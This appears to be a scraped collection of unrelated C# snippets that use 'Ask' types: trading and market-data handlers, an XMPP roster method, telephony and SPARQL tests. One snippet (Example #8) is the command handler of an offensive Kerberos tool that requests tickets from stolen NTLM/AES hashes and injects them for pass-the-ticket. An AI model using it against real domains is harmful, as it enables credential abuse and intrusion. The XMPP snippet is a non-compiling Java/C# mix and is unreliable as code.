Example #1
0
        public Trade AddAsk(string country, Ask ask, out bool updated)
        {
            using (var database = new RWCDatabaseContext())
            {
                var dbCountry = database.Countries
                    .Include(i => i.Bids)
                    .Include(i => i.Ask)
                    .Include("User.Countries")
                    .First(i => i.Code == country);
                var dbBids = dbCountry.Bids.ToList();
                var dbAsk = dbCountry.Ask;
                updated = false;
                if (dbAsk != null && dbCountry.User.UserID==ask.UserID)
                {
                    dbAsk.TimeStamp = ask.TimeStamp;
                    dbAsk.Price = ask.Price;
                    updated = true;
                    database.SaveChanges();
                    if (!dbBids.Any())
                    {
                        return null;
                    }

                }
                ask.CountryID = dbCountry.CountryID;
                if (!dbBids.Any() && dbAsk==null)
                {
                    dbCountry.Ask = ask;
                    database.SaveChanges();
                    return null;
                }
                var highestBid = dbBids.OrderByDescending(i => i.Price)
                                       .ThenBy(i => i.TimeStamp)
                                       .First();
                if (highestBid.Price >= ask.Price)
                {
                    database.Bids.Remove(highestBid);
                    dbCountry.User.Countries.Remove(dbCountry);
                    dbCountry.User = highestBid.User;
                    dbCountry.Ask = null;
                    var trade = new Trade()
                    {
                        BuyerID = highestBid.UserID,
                        SellerID = ask.UserID,
                        CountryID = dbCountry.CountryID,
                        Price = ask.Price,
                        TimeStamp = DateTime.UtcNow
                    };
                    database.Trades.Add(trade);
                    database.SaveChanges();
                    return trade;
                }
                if (updated)return null;
                dbCountry.Ask = ask;
                database.SaveChanges();
                return null;
            }
        }
Example #2
0
        public object Any(Ask request)
        {
            AskResponse response = new AskResponse();
            response.Result = ErrorCode.OK;

            Guid creatorId = UserSession.GetUserId();

            DateTime dateTime = DateTime.UtcNow;
            QuestionEntry questionEntry = new QuestionEntry(creatorId, Guid.NewGuid())
            {
                Title = request.Title,
                Detail = request.Detail,
                Creation = dateTime,
                Modification = dateTime,
                Tags = string.Join(",", request.Tags).ToLowerInvariant()
            };

            TableRepository tableRepository = new TableRepository();
            tableRepository.InsertOrReplace(questionEntry, Tables.Questions);

            IndexHelper.CreateIndex(questionEntry.GetId(), request.Title + " " + questionEntry.Tags, Tables.Questions);

            return response;
        }
Example #3
0
		/**
     * Adds a new item to the roster. If the roster packet already contains an item
     * using the same JID, the information in the existing item will be overwritten
     * with the new information.<p>
     *
     * The XMPP specification recommends that if the roster item is associated with another
     * instant messaging user (human), that the JID be in bare form (e.g. user@domain).
     * Use the {@link JID#toBareJID() toBareJID()} method for a bare JID.
     *
     * @param jid the JID.
     * @param name the nickname.
     * @param ask the ask type.
     * @param subscription the subscription type.
     * @param groups a Collection of groups.
     * @return the newly created item.
     */
		public Item addItem(JID jid, String name, Ask ask, Subscription subscription,
		                Collection<String> groups)
		{
			if (jid == null) {
                throw new ArgumentException("JID cannot be null");
			}
			if (subscription == null) {
                throw new ArgumentException("Subscription cannot be null");
			}
            XElement query = element.Element(XName.Get("query", "jabber:iq:roster"));
			if (query == null)
			{
			    query = new XElement(XName.Get("query", "jabber:iq:roster");
				element.Add(query);
			}
			XElement item = null;
			for (Iterator<Element> i=query.elementIterator("item"); i.hasNext(); ) {
				XElement el = i.next();
				if (el.attributeValue("jid").equals(jid.toString())) {
					item = el;
				}
			}
			if (item == null)
			{
			    item = new XElement("item");
				query.Add(item);
			}
			item.Add(new XAttribute("jid", jid.toBareJID()));
			item.Add(new XAttribute("name", name));
			if (ask != null) {
				item.Add(new XAttribute("ask", ask.ToString()));
			}
			item.Add(new XAttribute("subscription", subscription.ToString()));
			// Erase existing groups in case the item previously existed.
			for (Iterator<XElement> i=item.elementIterator("group"); i.hasNext(); ) {
				item.remove(i.next());
			}
			// Add in groups.
			if (groups != null) {
				foreach (string group in groups) {
					item.Add(new XElement("group", group));
				}
			}
			return new Item(jid, name, ask, subscription, groups);
		}
        public void ProcessMarketData(DepthMarketDataField field)
        {
            if (field == null)
            {
                return;
            }

            if (_provider.EnableMarketLog)
            {
                //_provider.Logger.Debug($"{field.InstrumentID},{field.UpdateTime},{field.Bids[0].Price},{field.Bids[0].Size},{field.Asks[0].Price},{field.Asks[0].Size},{field.LastPrice},{field.Volume}.");
                _provider.logger.Debug($"{field.InstrumentID},{field.UpdateTime},{field.LastPrice},{field.Volume}.");
            }

            _instDictCache.TryGetValue(field.InstrumentID, out var inst);
            if (inst == null)
            {
                if (_provider.EnableMarketLog)
                {
                    _provider.logger.Debug($"unsubscribed tick: {field.InstrumentID}.");
                }
                return;
            }

            field.ExchangeID = inst.Exchange;
            var instId       = inst.Id;
            var localTime    = DateTime.Now;
            var exchangeTime = field.ExchangeDateTime();

            if (exchangeTime.Year == DateTime.MaxValue.Year)
            {
                if (_provider.EnableMarketLog)
                {
                    _provider.logger.Debug($"empty trading time, {field.InstrumentID}");
                }
                exchangeTime = localTime;
            }
            else
            {
                if (_provider.NightTradingTimeCorrection)
                {
                    exchangeTime = QBHelper.CorrectionActionDay(localTime, exchangeTime);
                }
            }

            var time = exchangeTime.TimeOfDay;

            if (_provider.MaxTimeDiffExchangeLocal > 0)
            {
                var diff = Math.Abs((localTime.TimeOfDay - time).TotalMinutes);
                if (diff > _provider.MaxTimeDiffExchangeLocal)
                {
                    if (_provider.EnableMarketLog)
                    {
                        _provider.logger.Debug($"time diff ={diff},{field.InstrumentID}");
                    }
                    return;
                }
            }

            var range = _timeRanges[instId];

            if (!_instOpenFlag[instId])
            {
                if (range.InRange(time))
                {
                    if (_instCloseFlag[instId] && range.IsClose(time))
                    {
                        if (_provider.EnableMarketLog)
                        {
                            _provider.logger.Debug($"already closed, {field.InstrumentID}.");
                        }
                        return;
                    }
                    inst.SetMarketData(field);
                    _instOpenFlag[instId]  = true;
                    _instCloseFlag[instId] = false;
                    if (_provider.EnableMarketLog)
                    {
                        _provider.logger.Debug($"market open, {field.InstrumentID}.");
                    }
                }
                else
                {
                    if (_provider.EnableMarketLog)
                    {
                        _provider.logger.Debug($"market no open, {field.InstrumentID}.");
                    }
                    return;
                }
            }

            var last = _marketData[instId];

            if (range.IsClose(time) && field.ClosePrice > 0)
            {
                inst.SetMarketData(field);
                _instCloseFlag[instId] = true;
                _instOpenFlag[instId]  = false;
                _marketData[instId]    = EmptyMarketData;
                if (_provider.EnableMarketLog)
                {
                    _provider.logger.Debug($"market close, {field.InstrumentID}.");
                }
            }
            else
            {
                if (_czceInstFlag[inst.Id])
                {
                    field.ClosePrice = 0;
                }
                _marketData[instId] = field;
            }

            Ask ask = null;

            if (field.Asks?.Length > 0 && field.Asks[0].Size > 0)
            {
#if Compatibility
                ask = OpenQuant.Helper.NewTick <Ask>(localTime, exchangeTime, _provider.Id, instId, field.Asks[0].Price, field.Asks[0].Size);
#else
                ask = new Ask(localTime, exchangeTime, _provider.Id, instId, field.Asks[0].Price, field.Asks[0].Size);
#endif
                //_provider.ProcessMarketData(ask);
            }
            else
            {
                ask = new Ask(localTime, exchangeTime, _provider.Id, instId, 0, 0);
            }

            Bid bid = null;
            if (field.Bids?.Length > 0 && field.Bids[0].Size > 0)
            {
#if Compatibility
                bid = OpenQuant.Helper.NewTick <Bid>(localTime, exchangeTime, _provider.Id, instId, field.Bids[0].Price, field.Bids[0].Size);
#else
                bid = new Bid(localTime, exchangeTime, _provider.Id, instId, field.Bids[0].Price, field.Bids[0].Size);
#endif
                //_provider.ProcessMarketData(bid);
            }
            else
            {
                bid = new Bid(localTime, exchangeTime, _provider.Id, instId, 0, 0);
            }

            if (!(field.LastPrice > double.Epsilon))
            {
                if (_provider.EnableMarketLog)
                {
                    _provider.logger.Debug($"empty price, {field.InstrumentID}.");
                }
                return;
            }

            var size = _provider.volumeIsAccumulated ? field.Volume - last.Volume : field.Volume;
            if (_provider.DiscardEmptyTrade &&
                _provider.volumeIsAccumulated &&
                Math.Abs(size) < double.Epsilon &&
                _instOpenFlag[instId])
            {
                if (_provider.EnableMarketLog)
                {
                    _provider.logger.Debug($"empty trade, {field.InstrumentID}.");
                }
                return;
            }
#if Compatibility
            var trade = OpenQuant.Helper.NewTick <Trade>(localTime, exchangeTime, _provider.Id, instId, field.LastPrice, size);
#else
            var trade = new Trade(localTime, exchangeTime, _provider.Id, instId, field.LastPrice, (int)size);
#endif
            var turnover = double.NaN;
            if (_provider.volumeIsAccumulated)
            {
                if (field.Turnover > last.Turnover)
                {
                    turnover = field.Turnover - last.Turnover;
                }
                else
                {
                    turnover = field.Turnover / field.Volume * size;
                }
            }
            else
            {
                turnover = field.Turnover;
            }
            if (!_czceInstFlag[instId])
            {
                turnover /= inst.Factor;
            }
            trade.SetMarketData(field);
            trade.SetMarketData(turnover, field.OpenInterest);

            if (_provider.RaiseOnTradeFirst)
            {
                _provider.ProcessMarketData(trade);
                if (bid != null)
                {
                    _provider.ProcessMarketData(bid);
                }
                if (ask != null)
                {
                    _provider.ProcessMarketData(ask);
                }
            }
            else
            {
                if (bid != null)
                {
                    _provider.ProcessMarketData(bid);
                }
                if (ask != null)
                {
                    _provider.ProcessMarketData(ask);
                }
                _provider.ProcessMarketData(trade);
            }
        }
Example #5
0
        static void TestVoice()
        {
            Header headers = new Header(
                new string[] { "x-sbc-from", "\"username\"<sip:[email protected]>;tag=2a648c6e" },
                new string[] { "x-sbc-allow", "BYE" },
                new string[] { "x-sbc-user-agent", "sipgw-1.0" },
                new string[] { "x-sbc-contact", "<sip:[email protected]:16000>" },
                new string[] { "Content-Length", "247" },
                new string[] { "To", "<sip:[email protected]:5060>" },
                new string[] { "Contact", "<sip:[email protected]:5060>" },
                new string[] { "x-sbc-request-uri", "sip:[email protected]:5060" },
                new string[] { "x-sbc-call-id", "OWE0OGFkMTE1ZGY4NTI1MmUzMjc1M2Y3Y2ExMzc2YhG." },
                new string[] { "x-sid", "39f4688b8896f024f3a3aebd0cfb40b2" },
                new string[] { "x-sbc-cseq", "1 INVITE" },
                new string[] { "x-sbc-max-forwards", "70" },
                new string[] { "CSeq", "2 INVITE" },
                new string[] { "Via", "SIP/2.0/UDP 66.190.50.10:5060;received=10.6.60.100" },
                new string[] { "x-sbc-record-route", "<sip:190.40.250.230:5061;r2=on;lr;ftag=2a648c6e>" },
                new string[] { "Call-ID", "0-13c4-4b7d8ff7-1c3c1b82-7935-1d10b081" },
                new string[] { "Content-Type", "application/sdp" },
                new string[] { "x-sbc-to", "<sip:[email protected]:5060>" },
                new string[] { "From", "<sip:[email protected]:5060>;tag=0-13c4-4b7d8ff7-1c3c1b82-5c7b" }
                );

            Ask ask = new Ask(
                INSTANCE(
                    new Choices(
                        VALUE("1"),
                        MODE(Mode.DTMF),
                        TERMINATOR("*")
                        )
                    ),
                ATTEMPTS(10),
                BARGEIN(true),
                MIN_CONFIDENCE(10),
                NAME("foo"),
                RECOGNIZER(Recognizer.US_ENGLISH),
                REQUIRED(false),
                INSTANCE(
                    new Say("Hello World")
                    ),
                TIMEOUT(10),
                VOICE(VoiceEnum.VICTOR),
                INTER_DIGIT_TIMEOUT(10),
                SENSITIVITY(10),
                SPEECH_COMPLETE_TIMEOUT(10),
                SPEECH_INCOMPLETE_TIMEOUT(10)
                );

            Print(ask.GetAction());

            Call call = new Call(
                TO("+123456"),
                ANSWER_ON_MEDIA(false),
                CHANNEL(Channel.VOICE),
                FROM("+123456"),
                INSTANCE(headers),
                NAME("call"),
                NETWORK(Network.SIP),
                INSTANCE(
                    new Record(
                        INSTANCE(new Say(VALUE("Hello World"), ARRAY(new Say("Hello World"))))
                        )
                    ),
                REQUIRED(true),
                TIMEOUT(10),
                ALLOW_SIGNALS(true),
                INSTANCE(
                    new MachineDetection(
                        INTRODUCTION("Hello World"),
                        VOICE(VoiceEnum.VICTOR)
                        )
                    )
                );

            Print(call.GetAction());

            Choices choices = new Choices(
                VALUE("[5 DIGITS]"),
                MODE(Mode.DTMF),
                TERMINATOR("#")
                );

            Print(choices.GetAction());

            Conference conference = new Conference(
                ID("12345"),
                MUTE(false),
                NAME("conference"),
                PLAY_TONES(false),
                REQUIRED(false),
                TERMINATOR("#"),
                ALLOW_SIGNALS(false),
                INTER_DIGIT_TIMEOUT(10),
                INSTANCE(new JoinPrompt(VALUE("Please welcome the monster to the party!"))),
                INSTANCE(new LeavePrompt(VALUE("The monster has decide to depart!")))
                );

            Print(conference.GetAction());

            Hangup hangup = new Hangup();

            Print(hangup.GetAction());

            MachineDetection md = new MachineDetection(
                INTRODUCTION("Hello World"),
                VOICE(VoiceEnum.VICTOR)
                );

            Print(md.GetAction());

            Message message = new Message(
                INSTANCE(new Say("Hello World")),
                TO("+63525544787"),
                ANSWER_ON_MEDIA(false),
                CHANNEL(Channel.TEXT),
                FROM("2542562"),
                NAME("message"),
                NETWORK(Network.JABBER),
                REQUIRED(false),
                TIMEOUT(60),
                VOICE(VoiceEnum.CARMEN)
                );

            Print(message.GetAction());

            On on = new On(
                EVENT("continue"),
                NAME("event"),
                NEXT("http://openovate.com/hello.php"),
                REQUIRED(false),
                INSTANCE(new Say("Hello World")),
                INSTANCE(ask),
                INSTANCE(message),
                INSTANCE(new Wait(MILLISECONDS(3000), ALLOW_SIGNALS(true)))
                );

            Print(on.GetAction());

            Record record = new Record(
                ATTEMPTS(10),
                BARGEIN(false),
                BEEP(false),
                INSTANCE(choices),
                FORMAT(Format.MP3),
                MAX_SILENCE(10),
                MAX_TIME(60),
                METHOD("POST"),
                MIN_CONFIDENCE(10),
                NAME("recording"),
                REQUIRED(false),
                INSTANCE(new Say("Hello World")),
                TIMEOUT(10),
                INSTANCE(
                    new Transcription(
                        ID("12345"),
                        URL("https//gmail.com"),
                        EMAIL_FORMAT("format")
                        )
                    ),
                URL("http://openovate.com/recording.js"),
                USERNAME("admin"),
                PASSWORD("admin"),
                VOICE(VoiceEnum.CARLOS),
                ALLOW_SIGNALS(false),
                INTER_DIGIT_TIMEOUT(10)
                );

            Print(record.GetAction());

            Redirect redirect = new Redirect(TO("+12345"), NAME("charles"), REQUIRED(false));

            Print(redirect.GetAction());

            Reject reject = new Reject();

            Print(reject.GetAction());

            Say say = new Say(
                VALUE("Hello World"),
                AS(As.DIGITS),
                NAME("say"),
                REQUIRED(false),
                VOICE(VoiceEnum.BERNARD),
                ALLOW_SIGNALS(false)
                );

            Print(say.GetAction());

            StartRecording sr = new StartRecording(
                FORMAT(Format.MP3),
                METHOD("POST"),
                URL("http://openovate.com/recording.js"),
                USERNAME("admin"),
                PASSWORD("admin"),
                TRANSCRIPTION_ID("12345"),
                TRANSCRIPTION_EMAIL_FORMAT("format"),
                TRANSCRIPTION_OUT_URI("http://openovate.com/recording.js")
                );

            Print(sr.GetAction());

            Transfer transfer = new Transfer(
                TO("+123456"),
                ANSWER_ON_MEDIA(false),
                INSTANCE(choices),
                FROM("12345"),
                INSTANCE(headers),
                NAME("transfer"),
                INSTANCE(
                    new On(ARRAY(
                               new On(
                                   EVENT("ring"),
                                   INSTANCE(new Say("http://www.phono.com/audio/holdmusic.mp3"))
                                   ),
                               new On(
                                   EVENT("connect"),
                                   INSTANCE(say)
                                   ))
                           )
                    ),
                REQUIRED(false),
                TERMINATOR("*"),
                TIMEOUT(10),
                ALLOW_SIGNALS(false),
                INTER_DIGIT_TIMEOUT(10),
                INSTANCE(md)
                );

            Print(transfer.GetAction());

            Wait wait = new Wait(
                MILLISECONDS(500),
                ALLOW_SIGNALS(true)
                );

            Print(wait.GetAction());

            string  resultJson   = @"{""result"":{""callId"":""8a2bd2f204f4488e22c099a21e900068"",""sequence"":1,""calledid"":""6391721584130"",""sessionId"":""a1e275877b5346c576ae309cb2e6d829"",""state"":""ANSWERED"",""sessionDuration"":10,""complete"":true,""error"":null,""actions"":{""disposition"":""SUCCESS"",""interpretation"":""52521"",""xml"":""<?xml version=\""1.0\""?>\r\n<result grammar=\""[email protected]\"">\r\n    <interpretation grammar=\""[email protected]\"" confidence=\""100\"">\r\n        \r\n      <input mode=\""dtmf\"">dtmf-5 dtmf-2 dtmf-5 dtmf-2 dtmf-1<\/input>\r\n    <\/interpretation>\r\n<\/result>\r\n"",""confidence"":100,""name"":""foo"",""value"":""52521"",""utterance"":""52521"",""attempts"":1}}}";
            JObject resultParsed = JObject.Parse(resultJson);

            Result result = new Result(resultParsed);

            Print(result.GetResult());

            string  sessionJson   = @"{""session"":{""callId"":""e9d6ea5c3e1f9cdf7bd6755df792128f"",""accountId"":""357"",""headers"":{""P-Asserted-Identity"":""<sip:[email protected]>"",""Call-ID"":""[email protected]"",""Session-Expires"":""1800"",""Max-Forwards"":""67"",""CSeq"":""22885 INVITE"",""Record-Route"":""<sip:54.251.186.109:5060;transport=udp;lr>"",""User-Agent"":""ZTE Softswitch/1.0.0"",""x-sid"":""d7cb81bdeef47e5d9520e3867e99dd2e"",""From"":""09065272450 <sip:[email protected]>;tag=aa38c01-u0HM7d7ee5c02"",""Supported"":""100rel"",""Contact"":""<sip:[email protected]:5060>"",""Allow"":""INVITE"",""Via"":""SIP/2.0/UDP 54.251.186.109:5060;branch=z9hG4bK6vnl2t62s715;rport=5060;received=172.31.28.102"",""Min-SE"":""90"",""To"":""21584130 <sip:[email protected]>"",""Content-Length"":""790"",""P-Charging-Vector"":""icid-value=Netun-20161125172901-00580505"",""Content-Type"":""application/sdp""},""initialText"":null,""from"":{""name"":""09065272450"",""channel"":""VOICE"",""id"":""6309065272450"",""network"":""SIP""},""id"":""27741ecb65b5c916eeded4039ae22396"",""userType"":""HUMAN"",""to"":{""name"":""21584130"",""channel"":""VOICE"",""id"":""6391721584130"",""network"":""SIP""},""timestamp"":""2016-11-25T09:29:01.129Z""}}";
            JObject sessionParsed = JObject.Parse(sessionJson);

            Session session = new Session(sessionParsed);

            Print(session.GetSession());

            VoiceBase voice = new VoiceBase();

            voice.Say("Hello World");
            voice.Wait();

            Print(voice.Render().ToString());
        }
 protected virtual void OnAsk(object sender, Ask ask)
 {
 }
Example #7
0
        public IEnumerable <Order> GetMarketQuote(Ask ask)
        {
            long orderQuantity;

            return(GetQuote(new ThreadSafeAsk(ask), out orderQuantity, ask.MaxLegDepth, isMarketQuote: true));
        }
Example #8
0
        public void Execute(Dictionary <string, string> arguments)
        {
            Console.WriteLine("[*] Action: Ask TGT\r\n");

            string user     = "";
            string domain   = "";
            string password = "";
            string hash     = "";
            string dc       = "";
            string outfile  = "";
            bool   ptt      = false;
            LUID   luid     = new LUID();

            Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;

            if (arguments.ContainsKey("/user"))
            {
                string[] parts = arguments["/user"].Split('\\');
                if (parts.Length == 2)
                {
                    domain = parts[0];
                    user   = parts[1];
                }
                else
                {
                    user = arguments["/user"];
                }
            }
            if (arguments.ContainsKey("/domain"))
            {
                domain = arguments["/domain"];
            }
            if (arguments.ContainsKey("/dc"))
            {
                dc = arguments["/dc"];
            }
            if (arguments.ContainsKey("/outfile"))
            {
                outfile = arguments["/outfile"];
            }

            if (arguments.ContainsKey("/password"))
            {
                password = arguments["/password"];

                string salt = String.Format("{0}{1}", domain.ToUpper(), user);
                encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified

                if (arguments.ContainsKey("/enctype"))
                {
                    string encTypeString = arguments["/enctype"].ToUpper();

                    if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM"))
                    {
                        encType = Interop.KERB_ETYPE.rc4_hmac;
                    }
                    else if (encTypeString.Equals("AES128"))
                    {
                        encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
                    }
                    else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES"))
                    {
                        encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
                    }
                    else if (encTypeString.Equals("DES"))
                    {
                        encType = Interop.KERB_ETYPE.des_cbc_md5;
                    }
                }
                hash = Crypto.KerberosPasswordHash(encType, password, salt);
            }

            else if (arguments.ContainsKey("/des"))
            {
                hash    = arguments["/des"];
                encType = Interop.KERB_ETYPE.des_cbc_md5;
            }
            else if (arguments.ContainsKey("/rc4"))
            {
                hash    = arguments["/rc4"];
                encType = Interop.KERB_ETYPE.rc4_hmac;
            }
            else if (arguments.ContainsKey("/ntlm"))
            {
                hash    = arguments["/ntlm"];
                encType = Interop.KERB_ETYPE.rc4_hmac;
            }
            else if (arguments.ContainsKey("/aes128"))
            {
                hash    = arguments["/aes128"];
                encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
            }
            else if (arguments.ContainsKey("/aes256"))
            {
                hash    = arguments["/aes256"];
                encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
            }

            if (arguments.ContainsKey("/ptt"))
            {
                ptt = true;
            }

            if (arguments.ContainsKey("/luid"))
            {
                try
                {
                    luid = new LUID(arguments["/luid"]);
                }
                catch
                {
                    Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]);
                    return;
                }
            }

            if (arguments.ContainsKey("/createnetonly"))
            {
                // if we're starting a hidden process to apply the ticket to
                if (!Helpers.IsHighIntegrity())
                {
                    Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
                    return;
                }
                if (arguments.ContainsKey("/show"))
                {
                    luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], true);
                }
                else
                {
                    luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], false);
                }
                Console.WriteLine();
            }

            if (String.IsNullOrEmpty(user))
            {
                Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
                return;
            }
            if (String.IsNullOrEmpty(domain))
            {
                domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
            }
            if (String.IsNullOrEmpty(hash))
            {
                Console.WriteLine("\r\n[X] You must supply a /password , or a [/des|/rc4|/aes128|/aes256] hash!\r\n");
                return;
            }

            if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)))
            {
                Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n");
                return;
            }
            else
            {
                Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true);
                return;
            }
        }
Example #9
0
        private void OnRspQryHistoricalTicks_callback(object sender, IntPtr pTicks, int size1, ref HistoricalDataRequestField request, int size2, bool bIsLast)
        {
            int size = Marshal.SizeOf(typeof(TickField));

            (sender as XApi).GetLog().Info("<--OnRspQryHistoricalTicks:{0},{1},{2},{3}条", request.CurrentDate, request.InstrumentID, request.ExchangeID, size1 / size);
            HistoricalDataRecord record;

            if (!historicalDataRecords.TryGetValue(request.RequestId, out record))
            {
                return;
            }

            int      day        = -1;
            double   volume     = 0;
            DateTime datetime   = DateTime.MinValue;
            DateTime updatetime = DateTime.MinValue;

            List <DataObject> list = new List <DataObject>();

            for (int i = 0; i < size1 / size; ++i)
            {
                IntPtr    ptr = (IntPtr)(pTicks + size * i);
                TickField obj = Marshal.PtrToStructure <TickField>(ptr);

                DateTime dt = GetDateTime(obj.Date, obj.Time, obj.Millisecond);
                if (datetime == dt)
                {
                    updatetime = updatetime.AddMilliseconds(100);
                }
                else
                {
                    updatetime = dt;
                }
                if (day != updatetime.Day)
                {
                    volume = 0;
                }
                day    = updatetime.Day;
                volume = obj.Volume - volume;


                // 这地方应当加历史数据另存的地方才好
                if (SaveToCsv)
                {
                    LogEventInfo logEvent = new LogEventInfo(NLog.LogLevel.Trace, tickLog.Name, TickFieldToString(obj, updatetime, volume));

                    // 用户可能需要按收到数据的合约与时间分目录或文件
                    logEvent.Properties[Symbol] = record.Request.Instrument.Symbol;
                    logEvent.Properties[Date]   = request.CurrentDate;

                    tickLog.Log(logEvent);
                }


                if (FilterDateTime)
                {
                    if (FilterDateTime_(record.Request, updatetime))
                    {
                        DataObject o = null;

                        if (EmitAllTickType)
                        {
                            // 全面保存数据
                            o = new Trade(updatetime, this.id, record.Request.Instrument.Id, obj.LastPrice, (int)volume);
                            list.Add(o);
                            o = new Quote(updatetime, this.id, record.Request.Instrument.Id, obj.BidPrice1, obj.BidSize1, obj.AskPrice1, obj.AskSize1);
                            list.Add(o);
                        }
                        else
                        {
                            // 分别保存
                            switch (record.Request.DataType)
                            {
                            case DataObjectType.Tick:
                            case DataObjectType.Bid:
                                o = new Bid(updatetime, this.id, record.Request.Instrument.Id, obj.BidPrice1, obj.BidSize1);
                                break;

                            case DataObjectType.Ask:
                                o = new Ask(updatetime, this.id, record.Request.Instrument.Id, obj.AskPrice1, obj.AskSize1);
                                break;

                            case DataObjectType.Trade:
                                o = new Trade(updatetime, this.id, record.Request.Instrument.Id, obj.LastPrice, (int)volume);
                                break;

                            case DataObjectType.Quote:
                                o = new Quote(updatetime, this.id, record.Request.Instrument.Id, obj.BidPrice1, obj.BidSize1, obj.AskPrice1, obj.AskSize1);
                                break;
                            }

                            list.Add(o);
                        }
                    }
                }

                datetime = dt;
                volume   = obj.Volume;
            }

            if (EmitHistoricalData)
            {
                HistoricalData data = new HistoricalData
                {
                    RequestId = record.Request.RequestId,
                    Objects   = list.ToArray(),
                    TotalNum  = list.Count,
                };

                //Console.WriteLine("============");
                //Console.WriteLine(list.Count);

                base.EmitHistoricalData(data);
            }

            if (bIsLast)
            {
                EmitHistoricalDataEnd(record.Request.RequestId, RequestResult.Completed, "");
            }
        }
Example #10
0
        public void SparqlStreamingBgpAskEvaluation()
        {
            //Get the Data we want to query
            TripleStore store = new TripleStore();
            Graph       g     = new Graph();

            FileLoader.Load(g, "InferenceTest.ttl");
            store.Add(g);
            //g = new Graph();
            //FileLoader.Load(g, "noise.ttl");
            //store.Add(g);

            Console.WriteLine(store.Triples.Count() + " Triples in Store");

            //Create the Triple Pattern we want to query with
            IUriNode fordFiesta = g.CreateUriNode(new Uri("http://example.org/vehicles/FordFiesta"));
            IUriNode rdfType    = g.CreateUriNode(new Uri(RdfSpecsHelper.RdfType));
            IUriNode rdfsLabel  = g.CreateUriNode(new Uri(NamespaceMapper.RDFS + "label"));
            IUriNode speed      = g.CreateUriNode(new Uri("http://example.org/vehicles/Speed"));
            IUriNode carClass   = g.CreateUriNode(new Uri("http://example.org/vehicles/Car"));

            TriplePattern allTriples            = new TriplePattern(new VariablePattern("?s"), new VariablePattern("?p"), new VariablePattern("?o"));
            TriplePattern allTriples2           = new TriplePattern(new VariablePattern("?x"), new VariablePattern("?y"), new VariablePattern("?z"));
            TriplePattern tp1                   = new TriplePattern(new VariablePattern("?s"), new NodeMatchPattern(rdfType), new NodeMatchPattern(carClass));
            TriplePattern tp2                   = new TriplePattern(new VariablePattern("?s"), new NodeMatchPattern(speed), new VariablePattern("?speed"));
            TriplePattern tp3                   = new TriplePattern(new VariablePattern("?s"), new NodeMatchPattern(rdfsLabel), new VariablePattern("?label"));
            TriplePattern novars                = new TriplePattern(new NodeMatchPattern(fordFiesta), new NodeMatchPattern(rdfType), new NodeMatchPattern(carClass));
            TriplePattern novars2               = new TriplePattern(new NodeMatchPattern(fordFiesta), new NodeMatchPattern(rdfsLabel), new NodeMatchPattern(carClass));
            FilterPattern blankSubject          = new FilterPattern(new UnaryExpressionFilter(new IsBlankFunction(new VariableTerm("?s"))));
            List <List <ITriplePattern> > tests = new List <List <ITriplePattern> >()
            {
                new List <ITriplePattern>()
                {
                },
                new List <ITriplePattern>()
                {
                    allTriples
                },
                new List <ITriplePattern>()
                {
                    allTriples, allTriples2
                },
                new List <ITriplePattern>()
                {
                    tp1
                },
                new List <ITriplePattern>()
                {
                    tp1, tp2
                },
                new List <ITriplePattern>()
                {
                    tp1, tp3
                },
                new List <ITriplePattern>()
                {
                    novars
                },
                new List <ITriplePattern>()
                {
                    novars, tp1
                },
                new List <ITriplePattern>()
                {
                    novars, tp1, tp2
                },
                new List <ITriplePattern>()
                {
                    novars2
                },
                new List <ITriplePattern>()
                {
                    tp1, blankSubject
                }
            };

            foreach (List <ITriplePattern> tps in tests)
            {
                Console.WriteLine(tps.Count + " Triple Patterns in the Query");
                foreach (ITriplePattern tp in tps)
                {
                    Console.WriteLine(tp.ToString());
                }
                Console.WriteLine();

                ISparqlAlgebra ask          = new Ask(new Bgp(tps));
                ISparqlAlgebra askOptimised = new Ask(new AskBgp(tps));

                //Evaluate with timings
                Stopwatch timer = new Stopwatch();
                TimeSpan  unopt, opt;
                timer.Start();
                BaseMultiset results1 = ask.Evaluate(new SparqlEvaluationContext(null, new InMemoryDataset(store)));
                timer.Stop();
                unopt = timer.Elapsed;
                timer.Reset();
                timer.Start();
                BaseMultiset results2 = askOptimised.Evaluate(new SparqlEvaluationContext(null, new InMemoryDataset(store)));
                timer.Stop();
                opt = timer.Elapsed;

                Console.WriteLine("ASK = " + results1.GetType().ToString() + " in " + unopt.ToString());
                Console.WriteLine("ASK Optimised = " + results2.GetType().ToString() + " in " + opt.ToString());

                Assert.AreEqual(results1.GetType(), results2.GetType(), "Both ASK queries should have produced the same result");

                Console.WriteLine();
            }
        }
Example #11
0
 public void Save([FromBody] Ask ask)
 {
     AskDb.Instance.Save(ask);
 }
Example #12
0
 private void method_5(object state)
 {
     ((ManualResetEvent)state).Set();
     while (this.doWork)
     {
         var list = new List<MarketDataRecord>();
         lock (this.mdRecords)
             list.AddRange(this.mdRecords.Values.Select(r => new MarketDataRecord(r.Instrument) {Trades = r.Trades, Quotes = r.Quotes}));
         var random = new Random();
         double min = PriceRange.Min;
         double max = PriceRange.Max;
         double min2 = SpreadRange.Min;
         double max2 = SpreadRange.Max;
         int min3 = SizeRange.Min;
         int max3 = SizeRange.Max;
         while (list.Count > 0)
         {
             int index = RandomizeInstruments ? random.Next(0, list.Count - 1) : 0;
             MarketDataRecord marketDataRecord = list[index];
             list.RemoveAt(index);
             if (marketDataRecord.Trades)
             {
                 double price = Math.Round(random.NextDouble() * (max - min) + min, DecimalDigits);
